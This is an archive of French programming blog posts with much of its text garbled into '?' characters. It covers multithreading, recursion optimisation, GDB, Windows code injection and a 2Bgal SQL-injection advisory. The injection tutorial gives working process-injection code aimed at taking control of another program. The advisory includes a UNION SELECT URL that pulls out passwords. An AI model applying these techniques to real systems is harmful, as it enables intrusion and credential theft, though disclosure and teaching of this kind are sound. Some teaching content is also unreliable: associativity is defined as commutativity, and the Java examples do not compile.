Archive pour la catégorie ‘Divers’

Le salon de la s?curit? informatique – nov 2005

Samedi 22 octobre 2005

Le salon de la s?curit? informatique se d?roulera à Paris la d?fense le 23 et 24 Novembre 2005. Enregistrer-vous sur http://www.infosecurity.com.fr. Demande d’accès gratuit sur le même site en saisissant le code "OS" Vous recevrvrez par email un code barre permettant d’imprimer votrre badge a l’entr?e du salon.

Pour en savoir plus : http://www.infosecurity.com.fr.

Multi-Threading

Mercredi 24 août 2005

Par Godrik (godrik-article@mandragor.org)  Le multi-threading est l’art de faire deux choses en même temps dans un seul processus. Pour ceux qui ne le saurait pas, un processus c’est un programme en cours ?xecution.(Faisons simple) voir la suite

Multi-Threading

Par Godrik (godrik-article@mandragor.org)

Qu’est ce que le multi-threading ?

Le multi-threading est l’art de faire deux choses en même temps dans un seul processus. Pour ceux qui ne le saurait pas, un processus c’est un programme en cours ?xecution.(Faisons simple)

Un exemple ‘reel’

Disons qu’on a un programme "cerveau" (superbe vue de l’esprit d’ailleurs car il a ?t? prouv? qu’un cerveau humain faisait plusieurs choses en meme temps), vous pourriez faire en meme temps: l’ouverture d’une porte et prendre un livre sur une ?tagère (vous avez deux mains). Comment ferait un processeur ? Un processeur ne sait pas faire plusieurs choses en même temps; il sait juste en faire les unes après les autres. Tout le principe sera alors de d?couper les deux taches en actions ?l?mentaires. On aura pour l’ouverture d’une porte:

-tendre la main droite au niveau de la poign?
-prendre la poign?
-tourner la poign?
-tirer la porte
-avancer
		
Pour prendre le livre:

-tendre la main gauche au dessus du livre
-saisir le livre
-soulever le livre
		
Alors comment va t-on faire pour faire les deux en même temps; et bien on va les enchevêtrer en faisant:

-tendre la main droite au niveau de la poign?e
-tendre la main gauche au dessus du livre
-prendre la poign?e
-soulever le livre
-tourner la poign?e
-tirer la porte
-avancer
		
ainsi on aura fait les deux "en même temps"

Du point de vue informatique…

Vous vous doutez bien que l’on ne peut pas s’amuser a faire une m?ga-fonction dans laquelle on va coder tout en ‘enchevêtr?’. (d’ailleurs ca serait bien le bordel avec les boucles.) Si on le fait pas comme ca, comment va t’on faire ? Et bien on a un Système d’Exploitation, alors on va le laisser se d?brouiller. On va lui dire, fait Ca et Ca en même temps. Pour reprendre l’exemple du dessus, on va faire une fonction ouvrir_porte_avec_main_droite et une fonction prendre_livre_avec_main_gauche et dans une fonction principale on dirait fait_a_cote (ouvrir_porte_avec_main_droite) et fait_a_cote (prendre_livre_avec_main_gauche). L’OS se d?merdera tout seul pour les faire en même temps.

Comment va faire l’OS pour faire du multi-threading ?

Quand on va faire:

fait_a_cote (ouvrir_porte_avec_main_droite)
fait_a_cote (prendre_livre_avec_main_gauche)
		
l’OS va faire une file de commandes (et une pile d’ailleurs) qui correspond a ouvrir_porte_avec_main_droite. l’OS va faire une file de commandes (et une pile d’ailleurs) qui correspond a prendre_livre_avec_main_gauche. Puis il va dire je fais x commandes de la premiere et en faire y de la seconde (l’OS determine dynamiquement ou pas x et y) Ce sont ces files de commandes que l’on va appeler threads. (ca y est j’ai enfin dit ce que c’etait)

Problème de synchronisation

Vous imaginez bien que le multi-threading ne sert pas a calculer les multiples de 3 en même temps que les multiples de 7! :) ) Ca sert g?neralment à faire plusieurs op?rations sur les mêmes donn?es. Par exemple, un des modèles les plus r?pandus de multi-threading est le modèle du producteur/consommateur. Ce modèle reviens a dire qu’un(ou plusieurs) thread(s) va(vont) rajouter des objets dans une file d’objet pendant qu’un (ou plusieurs) thread(s) va(vont) traiter ces objets. Par exemple un serveur de chat va d’un côt? ?couter tout ses clients et a chaque fois qu’il va recevoir un message il va les remettre dans l’ordre. Un problème de synchronisation va se poser quand deux threads vont acceder en meme temps à la même variable. Pour reprendre l’exemple "r?el" d’au-dessus, imaginez que vous faites:

fait_a_cote (ouvrir_porte_avec_main_droite)
fait_a_cote (prendre_livre_avec_main_droite)
		
Vous allez forcement a un moment ou a un autre avoir un problème car:

-tendre la main droite au niveau de la poigne
-tendre la main droite au dessus du livre
-prendre la poigne  (la ca va etre difficile)
-soulever le livre (la main est ferm? donc pas possible de prendre le livre)
-tourner la poigne (il n'y a pas de poign?)
-tirer la porte (la porte est toujours ferm?)
-avancer (ouille ca fait mal... :) )
		
Visiblement ca va pas. Et pourquoi ca va pas? Tout simplement parceque deux threads ont manipul?s "la main". Au sein du programme, le problème est le même si l’on est en train de changer une valeur en même temps qu’un autre thread la lit, ca va poser problème. Typiquement parlant, ce problème est appel? problème de synchronisation.

Solution(s) au probleme de synchronisation

La solution la plus couramment utilis? est la mise en oeuvre de section critique. On va dire que deux portions de code ne peuvent s’?x?cuter en même temps; il reste en exercice au programmeur de choisir les bonnes sections critiques. On rajoute au debut des fonctions ouvrir_porte et prendre_livre une entr? dans une section critique et a la fin de ces même fonctions la sortie de la section critiques. Ainsi les deux fonctions ne se battrons pas la main. On s’aperçoit souvent que les sections critiques vont correspondre à une variable (ou un objet en general) sp?cifique qui est partag? par deux threads. Pendant longtemps les programmeurs rajoutait à leurs objets des variables sections critiques, ainsi a chaque accès a l’objet, une entr?e/sortie de la section critique ont ?t? r?alis?. Ceci a r?cemment donn? naissance en Java à ce que l’on appele des moniteurs, tout les objets sont monitor?s, ainsi on peut faire un appel simplifi?e à un objet de facon "securis?", on place une partie de notre code en prenant "poss?ssion" de l’objet, si un autre thread veut prendre ce même moniteur il sera automatiquement mis en pause.

Exemple d’utilisation simple du multi-threading (en java)

a/ Deux thread, l’un dit "bonjour je suis le thread 1" et l’autre "bonjour je suis le thread 2"

class BonjourThread extends Thread
{
	public int numero;

	public BonjourThread (int num)
	{
		this.numero = num;
	}

	public void run ()
	{
		for (int i=0; i<100000; i++)//je sais c'est pas joli ce que j'ai fait
			System.out.println ("bonjour je suis le thread " + this.numero);
	}

	public static void main (String args[])
	{
		BonjourThread bj1 = new BonjourThread (1);
		BonjourThread bj2 = new BonjourThread (2);
		bj1.start();
		bj2.start();
	}
}
		
b/ un compteur increment? par deux threads sans synchronisation

/*
Cet exemple n'a pas d'autre but d'etre absurde
et de montrer un probleme synchronisation
*/
class Increment extends Thread
{
	public static int compteur = 0;

	public void run ()
	{
		int compt = compteur;
		for (int i=0; i<1000; i++)
		{
			compt++;
		}
		compteur = compt;
		System.out.println (compteur);
	}

	public static void main (String args[])
	{
		Increment i1 = new Increment;
		Increment i2 = new Increment;
		i1.start();
		i2.start();
	}
}
		
c/ un compteur increment? par deux threads synchronis?s

class Increment extends Thread
{
	public static int compteur = 0;

	public void run ()
	{
		int compt = compteur;
		synchronized (compteur)
		{
			for (int i=0; i<1000; i++)
			{
				compt++;
			}
			compteur = compt;
			System.out.println (compteur);
		}
	}

	public static void main (String args[])
	{
		Increment i1 = new Increment;
		Increment i2 = new Increment;
		i1.start();
		i2.start();
	}
}
		

Optimisation des algorithmes r?cursifs

Mercredi 24 août 2005

Optimiser les fonctions r?cursives en les d?r?cursivant Par Godrik (godrik-article@mandragor.org)

Optimiser les fonctions r?cursives en les d?r?cursivant.

Par Godrik (godrik-article@mandragor.org)

Definition

  • R?currence: caractère de ce qui est r?current, r?p?tition d’un ph?nomène.
  • R?current: qui r?apparaît, se reproduit.
  • R?cursivit?: propri?t? de ce qui est r?cursif.
  • R?cursif: qui peut être r?p?t? de façon ind?finie.
Tel sont les d?finitions du Larousse. En informatique une chose sera r?cursive, quand elle est contenue dans elle même. (Vous savez, comme les Julia) Suivant cette d?finition, beaucoup de structure de donn?es en informatique sont r?cursives.

  • Un tableau: Z?ro ou une case et un tableau.
  • Une liste: Z?ro ou un ?l?ment, et un ?l?ment.
  • Un arbre binaire: rien ou un ?l?ment et deux arbres.
  • Un arbre n-aire: rien ou un ?l?ment et n arbres.

Des exemples d’algorithmes r?cursifs

Les algorithmes, suivant la même d?finition peuvent être r?cursif. Par exemple, le calcul du factoriel de n s’?crit:

int factoriel (int n)
{
	if (n ==0 || n == 1)
		return 1;
	return n* factoriel(n-1);
}
Par exemple, un algorithme de somme d’un tableau d’entier peut utiliser la structure r?cursive du tableau. En C, nous aurons:

int sommeTableau (int* tab, int size)
{
	if (size == 0)
		return 0;
	return tab[0] + sommeTableau(tab+1, size-1);
}
Lorsque nous avons ?crit la fonction factoriel, nous avons utilis? la structure r?cursive des entiers naturels.

Multi-r?cursion

Nous n’avons parl? jusqu’ici que de fonction mono-r?cursive (ou encore r?cursive de premier degr?), mais il existe des algorithmes bi-r?cursif, ou n-recursif (ou encore r?cursif d’ordre n). Par exemple, le calcul de la profondeur d’un arbre binaire pr?sente une double r?cursion.

int profondeur (Arbre* a)
{
	if (!existe(a)) return 0;
	if (feuille(a)) return 1;
	return MAX(profondeur(a->filsGauche) + 1, profondeur(a->filsDroit) + 1);
}
Ou encore le calcul d’une suite de fibonacci en utilisant la structure multi-r?cursive des entiers.

int fibonacci (int n)
{
	if (n == 0) return 0;
	if (n == 1) return 1;
	return fibonacci(n-1) + fibonacci(n-2);
}

R?cursivit? terminale

Un algorithme r?cursif pr?sente une r?cursivit? terminale si et seulement si la valeur retourn? par cet algorithme est une valeur fixe, ou une valeur calcul?e par cet algorithme. Selon cette d?finition, aucun des algorithmes si dessus ne pr?sente de r?cursivit? terminale. Pourquoi est ce que cette forme d’algorithme est int?ressante pouvons nous nous demander ? Tout simplement parce qu’un algorithme en r?cursivit? terminale est directement ?quivalent a une boucle de type "tant que" (boucle while). Les appels de fonctions ?tant des op?rations complexe, avoir un algorithme en r?cursivit? terminale (et donc une boucle tant que) est nettement plus rapide que sa version r?cursive "normal" (la complexit? des deux versions reste bien ?videment les mêmes)

Alors, pourquoi est ce que factoriel, n’est pas sous forme r?cursive terminale ? Parce que tel que cette fonction est ?crite, elle est ?quivalente à:

int factoriel (int n)
{
	if (n ==0 || n == 1)
		return 1;
	int factnmoins1 = factoriel(n-1);
	int factn = n * factnmoins1;
	return factn;
}
On voit bien dans cette ?criture que l’appel r?cursif à factoriel n’est pas la valeur renvoy?.

D?r?cursiver

D?r?cursiv? un algorithme r?cursif, c’est le mettre sous la forme d’une r?cursivit? terminale. La première question est: "est ce que tout les algorithmes r?cursif sont d?r?cursivable ?" La r?ponse a cette question est NON. Le cas des multi-r?cursion est sp?ciale (voir le chapitre suivant). Et tout les algorithmes mono-r?cursif ne le sont pas non plus. Un algorithme est d?r?cursivable si la fonction enveloppante est associative et admet un ?l?ment neutre.

L?ger rappel d’algèbre: Une fonction f est associative, si et seulement si: pour tout x, y: f(x, y) = f(y, x). les op?rateurs: + et * sont associatifs. – et / ne le sont pas (sauf si on exprime une soustraction comme une addition ?videment) les fonctions MAX et MIN sont ?galement associatives.

Une fonction admet un ?l?ment neutre si et seulement si il existe E tel que pour tout x: f(x, E) = x L’op?rateur + admet un ?l?ment neutre: 0 L’op?rateur * admet 1 comme ?l?ment neutre.

Fort de cette algèbre, qu’allons nous bien pouvoir dire de notre fonction factoriel ? Elle utilise une mono-r?cursion (return n * factoriel(n-1)). Cette r?cursion est englob? par l’op?rateur * qui est associatif et dispose d’un ?l?ment neutre (1). Cette algorithme est donc d?r?cursivable. Pour qu’elle soit en r?cursivit? terminale, il faut que la fonction n’aie pas besoin des appels pr?c?dants pour fournir le r?sultat. Il faut donc en quelque sorte que factoriel dispose de "l’historique" des appels pr?c?dents. Un paramètre de cumul des appels pr?c?dents s’impose alors et l’on ?crit notre fonction:

int factoriel (int n, int cumul)
{
	if (n == 1 || n == 0)
		return cumul;
	return factoriel (n-1, cumul*n);
}
Pour calculer factoriel de x nous ?crirons donc "factoriel (x, 1);"

Qu’avons nous fait pr?cis?ment ? Nous utilisons l’?l?ment neutre de la fonction multiplier comme valeur initiale de notre cumul. Le test d’arrêt de notre r?cursion reste toujours le même, mais renvoie maintenant le "panier" dans lequel nous avons accumul? nos valeurs. L’appel r?cursif remplit un peu plus le panier à chaque appel.

Et avec de la multi-r?cursivit? ?

Lorsque nous avons à faire a une multi-r?cursion, il est impossible de d?r?cursiver complètement. On peut n?anmoins, d?r?cursiver partiellement nos op?rations. En imbriquant les appels à la fonction r?cursive dans le but que l’un soit le paramètre de l’autre. Sur l’exemple de la suite de fibonacci, nous obtenons:

int fibonacci(int n, int cumul)
{
	if (n == 0) return cumul;
	if (n == 1) return cumul+1;
	return fibonacci(n-1, fibonacci (n-2, cumul));
}

Conclusions

J’espère avoir r?pondu aux questions que vous vous posiez sur l’optimisation des fonctions r?cursives. La d?r?cursivit? ne r?duit pas la complexit? des algorithmes en terme d’ordre, mais elle permet de r?duire sensiblement les temps de calculs qui incombent aux appels de fonctions. Comme d’habitude, si des questions se posent après la lecture de mon article, vous avez mon adresse mail, ou pouvez me laisser un commentaire.

Mandragor.org – 2004

Injection de code dans une application

Samedi 14 mai 2005

Tutorial sur l’injection de code dans une application windows [provenance]

Rappel de bases :


Qu’est ce que le code ? Dans ce contexte pr?cis le code est une suite d’instructions machine, les instructions machine sont le niveau de programmation le plus bas accessible pour le programmeur lambda, c’est-?-dire c’est le langage que comprend le processeur ! Ce code est g?n?r? habituellement par un compilateur puis placer dans un executabe.

Mais alors qu’est ce que c’est que l’injection ? L’injection c’est copier du code machine dans un programme en cours d’execution afin de remplacer ou ?tendre les fonctions de celui-ci.

Dans quel but ? Le but premier est le contr?le ! Pouvoir contr?ler le programme et par extension le syst?me tout entier.

Comment injecter ? Il faut savoir que pour s’executer, un programme doit avant tout ?tre charg? en m?moire. Le syst?me cr?e un espace m?moire, map le fichier exe dans cet espace puis execute le programme. Pour sch?matiser, la m?moire est une sorte de bobine, elle poss?de donc deux extremit?s et une longueur, le syst?me d’exploitation, quant ? lui, g?re la bobine et distribue ce fil ?chaque application. Le programme, pour se charger, va se r?pandre le long de ce fil et l’exection se fera le long de celui ci, les instructions ?tant ? la suite les unes des autres. Injecter du code reviendrait ? placer des instructions le long du fil d’une application pour que celui ci s’execute.





L’exercice :

Il y a plusieurs techniques pour injecter du code dans une application, la qualit? de l’injection d?pend de la m?thode d’injection du code et d’execution de celui-ci. La plupart utilise les API de windows, cela pose bien s?r le probl?me de version. Dans notre exemple, nous verrons des API disponibles sur les syst?mes Win9x et sup?rieurs, ? l’exception de VirtualAllocFree et VirtualFreeEx qui sont une exclusivit? des platformes NT.

Ce que nous allons, faire c’est charger une dll (de notre fabrication) dans une autre application. Pourquoi ? Tout simplement par ce que une fois charg?, nous aurons le contr?le total de cette application. En effet, elle disposera de tout l’espace m?moire de l’application ainsi qu’un acc?s total ? celle ci.

Avant de commencer ? coder, il faut savoir quoi injecter ! Comment allons dire ? une autre application de charger une dll ? Et bien, nous allons tout simplement appeler « LoadLibrary », cette fonction bien connue charge une dll et pour nous facilit? la tache, il faut savoir que le module « Kernel » (c’est la dll qui exporte LoadLibary) est charg? ? la m?me adresse dans toutes les applications, ce qui signifie qu’un pointer vers cette adresse sera valide pour tous les programmes du syst?me !

Le code :

Commen?ons par nous attaquer ? la DLL, cette dll va tout simplement afficher un message lors de son chargement et d?chargement pour nous avertir de la r?ussite de l’injection. Nous allons la realiser en assembleur pour une question de facilit?. Voici le code :



MODULE INJECTION.ASM


;=========================
; Assembl? avec Masm32
;=========================

.386
.model flat, stdcall
option casemap :none


include windows.inc
include user32.inc
include kernel32.inc


includelib user32.lib
includelib kernel32.lib


.data


Msg1 db « #Library Loaded » ,0
Msg2 db « #Library Unloaded » ,0


.code


LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.if reason == DLL_PROCESS_ATTACH
invoke MessageBox,NULL,addr Msg1,NULL,MB_OK
.elseif reason == DLL_PROCESS_DETACH
invoke MessageBox,NULL,addr Msg2,NULL,MB_OK
.endif
mov eax,1
ret
LibMain Endp


End LibMain



Assemblez-le de la mani?re suivante :
MASM32BINML.EXE /c /coff Injection.asm
MASM32BINLINK.EXE /SUBSYSTEM:WINDOWS /DLL Injection.obj

Voil?, la premi?re ?tape est faite. Maintenant, passons au sujet qui nous int?resse : l’injection dans une autre application. Pour l’exemple nous allons injecter la dll dans WordPad.exe. Prochaine ?tape : capturer le handle de la fen?tre de WordPad, pour cela rien de plus simple que FindWindow :

hWnd2 = FindWindow(vbNullString, « Document – WordPad »)

Ensuite on recup?re l’id du Process et du Thread de l’application :

ThreadId = GetWindowThreadProcessId(hWnd2, ProcessId)
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId)
hProcess = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE Or PROCESS_VM_READ, False, ProcessId)


A partir de l?, quoi faire ? Nous disposons des handles de process et thread ce qui va nous permettre de lire et d’?crire dedans. Avant d’?crire, nous allons mettre en pause le programme et r?cup?rer les informations du thread comme par exemple le registre EIP (eip c’est le registre qui pointe les instructions c’est-?-dire l’endroit exact ou le programme vient de se stopper sur notre fameux « fil » de memoire) :

Call SuspendThread(hThread)
Call GetThreadContext(hThread, lpContext)


Avant d’?crire, nous allons cr?er un espace m?moire dans le process de destination pour y ?crire notre programme. Cet espace doit ?tre assez grand pour acueillir l’ensemble des donn?es de notre programme :

hVirtual = VirtualAllocEx(hProcess, ByVal 0&, UBound(Data) + 1, MEM_COMMIT, PAGE_READWRITE)

hVirtual est l’adresse (ou l’endroit du fil) sur lequel nous allons ?crire. Cette phase utilise un API NT, elle peut ?tre ?viter en recherchant ? travers la m?moire un espace libre mais cette technique est plus longue et l’article n’en serait que plus compliqu?. Nous disposons de tous les acc?s et de toutes les informations suffisantes pour injecter notre code. Le probl?me, c’est justement de savoir ce que nous allons injecter. Le but, je vous le rappelle, c’est de charger une dll par le biais de « LoadLibrary ». Ce qui donnerait en vb :

Call LoadLibrary(« INJECTION.DLL »)


Mais ce serait compl?tement absurde de copier/coller du code vb dans une application. Pensons plut?t en code machine. Que fait le compilateur pour executer cette fonction ? Il empile le nom de la biblioth?que puis appelle la fonction. Il nous faut donc l’adresse de la fonction LoadLibrary, l’adresse de la chaine de caract?re « INJECTION.DLL » et enfin l’adresse de l’endroit o? le programme s’est stopp? (pour pouvoir continuer l’execution). Construisons notre code…

R?cup?rer l’adresse de LoadLibrary, rien de plus simple LoadLibrary est ? la m?me adresse dans toutes les applications :

ModHdl = GetModuleHandle(« KERNEL32″)
ProcAddr = GetProcAddress(ModHdl, « LoadLibraryA »)


R?cup?rer l’adresse o? s’est stopp? le programme, ?a, nous l’avons dans la structure lpContext qui a ?t? rempli par la fonction GetThreadContext :

ResumeAddr = lpContext.Eip

R?cup?rer l’adresse de la chaine de caract?re qui compose le nom de la dll ?charger. Cette adresse, c’est tout simplement l’adresse de base de notre code, soit hVirtual plus la taille de notre code plus un alignement de 32bits pour accel?rer le cache des instructions. Soit :

ChaineAddr = hVirutal + CodeSize + Align


Passons au code, il est plut?t simple, il n’utilisera que le registre arithm?tique eax :

























CODE MACHINE

MNEMONIQUE
B8 XX XX XX XX MOV EAX, ChaineAddr
50 PUSH EAX
B8 XX XX XX XX MOV EAX, ProcAddr
FF D0 CALL EAX
B8 XX XX XX XX MOV EAX, ResumeAddr
FF E0 JMP EAX

Comme vous le constatez, le code ne prend que 20 octets. Nous placerons donc notre chaine de caract?re au 32?me octet pour une question d’alignement, et remplirons les xx par les adresses respectives en vb. Cela donnerait :

Dim Data(127) As Byte
‘————————–
Data(0) = &HB8
Addr = hVirtual + 32
CopyMemory Data(1), ChaineAddr, 4
Data(5) = &H50
‘————————–
Data(6) = &HB8
CopyMemory Data(7), ProcAddr, 4
Data(11) = &HFF
Data(12) = &HD0
‘————————–
Data(13) = &HB8
CopyMemory Data(14), ResumeAddr, 4
Data(18) = &HFF
Data(19) = &HE0
‘————————–
CopyMemory Data(32), ByVal FileName, Len(FileName)

Maintenant, ?crivons ce code dans l’application et changons l’adresse d’execution pour que le thread execute notre code :

If WriteProcessMemory(hProcess, ByVal hVirtual, Data(0), UBound(Data) + 1, ByVal 0&) Then
Call SetThreadContext(hThread, lpContext)
Call ResumeThread(hThread)
Call WaitForSingleObject(hThread, 100)
MsgBox « Injected! », vbInformation
End If


Et voil?, le code a ?t? execut? ! Ce n’etait pas si compliqu?. Nous venons de placer un code fait-main dans une autre application et nous l’avons execut?. N’est-ce pas formidable ?

2Bgal 2.5.1 SQL injection Vulnerability

Mercredi 22 décembre 2004

2Bgal is fully customizable photo gallery.
It’s seems to be vulnerable at a SQL injection.

2Bgal 2.5.1 SQL injection Vulnerability
(http://www.ben3w.com/)
22/12/2004
----------------------------------------------------------------------
Description:
----------------------------------------------------------------------
2Bgal is fully customizable photo gallery.
It's seems to be vulnerable at a SQL injection.

----------------------------------------------------------------------
Vulnerable code (disp_album.php(~53) and maybe disp_img.php)
----------------------------------------------------------------------
$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");

----------------------------------------------------------------------
Proof of concept (2Bgal with MySQL 4.x.x):
----------------------------------------------------------------------

http://www.server.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%

20passwd%20as%20nom,%20idpere%
20FROM%20galbumlist%20LIMIT%201; 

This code allow you to get password for the first album.
You can play with SQL injection code to get other passwords.

----------------------------------------------------------------------
Discovered by Romain Le Guen: 

http://coding.romainl.com

contact @AT@ romainl.com

PHP Solutions – nouveau num?ro disponible !

Lundi 27 septembre 2004

Dans ce num?ro de PHP Solutions entre autres :

*Cr?ation de la documentation d’un code ? l’aide de phpDocumentator
*Cr?ation d’applications de gestion de r?seau ? l’aide de PHP, sudo et iptables
*Contr?le d’acc?s aux donn?es en PostgreSQL
*Extreme Hangman
*PHPlot – Graphiques ? la minute

Sur le CD PHP Solutions Live : TidyLib, SourceGuardian Pro,Notepad++, Entreprise Architect 4.10, ArgoUML, Dia2code, Apache 2.0.48,MySQL 4.0.17, PHP 5.0.0 (localhost), DBDesigner 4, XDebug 1.3 et autres.

Pour en savoir plus visitez le site : www.phpsolmag.org/fr

Migration pour implementation de la librairie mod_Write pour apache

Vendredi 26 décembre 2003

Ouf … apres des heures d’efforts ca marche a peu pres, les liens ne sont plus en PHP mais en html … tout ca pour ca …

arf ++

ps:si vous trouvez des bugs n’hesitez pas a laisser un commentaire :)

J’ai aussi installer le backend qui vous permet de mettre du contenu de coding sur votre site le tout au format RSS –>http://coding.romainl.com/backend.php

Tutorial sur le fonctionnement de GDB (debugger sous linux)

Jeudi 18 décembre 2003

GDB est le d?bogeur GNU (Gnu DeBugger). Il permet de trouver les bogues des programmes en C/C++ ou en assembleur, et plus g?n?ralement de voir le d?roulement d’un programme quand il s’ex?cute.

GDB sait d?boguer les ex?cutables ?crits en C, C++ ou assembleur . Pour donner des informations int?ressantes, GDB utilise les symboles qu’il trouve dans les ex?cutables. Ces symboles sont g?n?r?s par le compilateur… ? condition de lui dire de le faire !

GDB est le d?bogeur GNU (Gnu DeBugger). Il permet de trouver les bogues des programmes en C/C++ ou en assembleur, et plus g?n?ralement de voir le d?roulement d’un programme quand il s’ex?cute.

Les commandes les plus utilis?es de GDB sont?:


?run
?break
?where et bt
?step et next
?display et print
?help
?kill
?quit (utile...) 

et dans une moindre mesure file et core. 

Qu'est-ce qu'on d?bogue??

Comme mentionn? plus haut, GDB sait d?boguer les ex?cutables ?crits en C, C++ ou assembleur (cf. cours de logiciels de base). Pour donner des informations int?ressantes, GDB utilise les symboles qu’il trouve dans les ex?cutables. Ces symboles sont g?n?r?s par le compilateur… ? condition de lui dire de le faire?!

Le compilateur est generalement utilise est gcc. L’option ? donner est -g (ou ?ventuellement -ggdb), ? la fois ? la production des fichiers objets (.o) et ? l’?dition de liens (production de l’ex?cutable proprement dit).

Les commandes

Lancer GDB

Tout d'abord, voyons comment lancer GDB. Il y a trois mani?res de le faire?: 

gdb (sans argument)
gdb 
gdb  

la plus usuelle ?tant la deuxi?me. 

Le fichier ? d?boguer est un ex?cutable?; en ce qui concerne le fichier core, nous y reviendrons plus tard. Ces commandes lancent GDB. Pour les deux premi?res versions de la ligne de commande, GDB affiche un message de bienvenue puis l’invite qui est (gdb).

Pour la suite, nous supposerons que le fichier ? d?boguer s’appelle bugger et qu’il est le r?sultat de la compilation de bugger.c.

Les commandes de gdb

La permi?re chose ? faire est de donner ? manger ? ce pauvre GDB, sans quoi il serait bien en peine de trouver des bogues. Si vous n’avez pas sp?cifi? de fichier ? d?boguer sur la ligne de commande lan?ant GDB, il est temps de taper?:

file bugger

ce qui a pour effet de charger le fichier code en m?moire. Si tout se passe bien, GDB r?pond?:

Reading symbols from bugger…done.

On va enfin pouvoir faire des choses…

Trouver o? est le bug

Quand on n’a aucune id?e de l’endroit o? est le m?chant bogue, on laisse travailler GDB. Ou plut?t, on le met au travail, parce que, c’est pas pour dire, mais il n’a pas fait grand chose pour le moment, le bougre.

On utilise la commande?:

run

Si le programme a besoin d’arguments, on les tape apr?s le run, comme si on tapait bugger ? partir du shell.

GDB lance le programme, qui s’ex?cute normalement jusqu’? ce que le bug remonte ? la surface. Si votre programme fait des lectures au clavier ou des sorties ? l’?cran, GDB les fera ?galement. Tout se passe comme en ligne de commande, jusqu’? la terminaison du programme, qui peut ?tre?:

?normale (GDB dit Program exited normally.)?;
?anormale (GDB dit Program exited abnormally., ce qui est souvent provoqu? par la commande abort du C)?;
?avec un code de retour (GDB dit Program exited with code XX., ce qui est provoqu? par la commande exit(XX)?;
?avec un signal, le plus souvent SIGSEGV (GDB dit Program received signal SIGSEGV, Segmentation fault.), suivi d’informations exploitables.

Au point o? on en est, il est temps de travailler sur un exemple concret. Prenons le programme suivant?:

#include 
 #include 

 char *lire_fichier(FILE* f){
 ? ? ? ? int c,i=0;
 ? ? ? ? char* str;
 ? ? ? ? while ((c=getc(f))!=EOF){
 ? ? ? ? ? ? ? ? str[i++]=(char)c;
 ? ? ? ? }
 ? ? ? ? str[i]=' ';
 ? ? ? ? return str;
 }

 int main(int argc, char **argv){
 ? ? ? ? char *chaine;
 ? ? ? ? FILE* file;
 ? ? ? ? file=fopen(argv[1],"r");
 ? ? ? ? chaine=lire_fichier(file);
 ? ? ? ? printf("Contenu du fichier:
%s
",chaine);
 ? ? ? ? return 0;
 }

Deux mots sur le programme. Il ouvre le fichier dont le nom est pass? en argument, la fonction lire_fichier lit le contenu du fichier f et le met dans la cha?ne str.

Le bug, c’est (?videmment) qu’aucune m?moire n’est allou?e pour le pointeur str. C’est une erreur classique, et qui permet de bien voir les fonctionnalit?s de GDB, parce que, apr?s tout, on est l? pour ?a.

On reprend ? z?ro. L’invite de mon shell est $ et je commence par compiler le programme?:

$ gcc -g -o bugger bugger.c

Puis, lan?ons GDB?:

$ gdb
 GNU gdb 4.18
 Copyright 1998 Free Software Foundation, Inc.
 GDB is free software, covered by the GNU General Public License, and you are
 welcome to change it and/or distribute copies of it under certain conditions.
 Type "show copying" to see the conditions.
 There is absolutely no warranty for GDB. ?Type "show warranty" for details.
 This GDB was configured as "sparc-sun-solaris2.8".
 (gdb) file bugger
 Reading symbols from bugger...done.
 (gdb) run /etc/hosts
 Starting program: /users3/bchastag/bugger /etc/hosts
 Program received signal SIGSEGV, Segmentation fault.
 0x1067c in lire_fichier (f=0xff33c304) at bugger.c:8
 8 ? ? ? ? ? ? ? ? ? ? ? str[i++]=(char)c;
 (gdb)

On a d?j? beaucoup d’informations. D?cortiquons la ligne qui suit Segmentation fault.

0×1067c, c’est l’adresse de l’instruction qui a tout fait planter. En g?n?ral, c’est assez illisible, alors on l’oublie.

in lire_fichier d?signe la fonction qui contient le vilain bogue.

f=0xff33c304 est la valeur du param?tre de la fonction lire_fichier. Ici, c’est un sale pointeur assez incompr?hensible, mais cela peut d?j? donner des informations. Par exemple si la valeur est 0×0, c’est un pointeur nul, et c’est louche.

at bugger.c:8 est le nom du fichier source qui contient la fonction, et le num?ro de la ligne o? est apparu le bogue, ici la ligne 8. La ligne suivante est carr?ment la ligne de code qui est fautive.

Maintenant, on a de vraies informations sur l’erreur. Normalement, quand on voit que c’est une affectation qui plante, on doit tout de suite penser que c’est un probl?me de m?moire pas allou?e, mais bon, pour la d?monstration, on va continuer ? osculter cet exemple. Mais comment est-on arriv? l???

C’est bien beau de savoir quelle ligne provoque le Segmentation Fault, mais ce n’est pas forc?ment l? qu’est le bogue.

Premi?re question ? se poser?: d’o? vient-on?? Pour le savoir, on utilise la commande bt (pour « backtrace ») ou where?:

(gdb) where
 #0 ?0x1067c in lire_fichier (f=0xff33c304) at bugger.c:8
 #1 ?0x106f4 in main (argc=2, argv=0xffbefb94) at bugger.c:18
 (gdb)

qui affiche la pile des appels de fonctions. Le format est le m?me que pr?c?demment, ? cela pr?s que chaque ligne est pr?c?d?e de #num?ro. Nous verrons ce que cela signifie plus tard.

Ceci apporte surtout qu’on sait comment on est arriv? ? la ligne contenant le bogue. Ici, on sait que la fonction main appelle lire_fichier ? la ligne 18 et que le bogue appara?t ligne 8. Et les variables dans tout ?a??

Maintenant, il serait int?ressant de savoir les valeurs des variables. La commande ? utiliser est?:

display

ou aussi?:

print

La diff?rence entre les deux fonctions est que display fait l’affichage apr?s chaque commande tandis que print ne fait qu’un seul affichage.

Nous avons trois variables?: c, i et str. Demandons gentiment ? GDB de nous dire leur valeur?:

(gdb) display i
 1: i = 0
 (gdb) display c
 2: c = 35
 (gdb) display str
 3: str = 0x10034 ""
 (gdb)

Cela est bien, mais str est un tableau, donc ce serait plus int?ressant de conna?tre la valeur de son contenu. Rien de plus facile?:

(gdb) display str[i]
 4: str[i] = Cannot access memory at address 0x0.
 Disabling display 4 to avoid infinite recursion.
 (gdb)

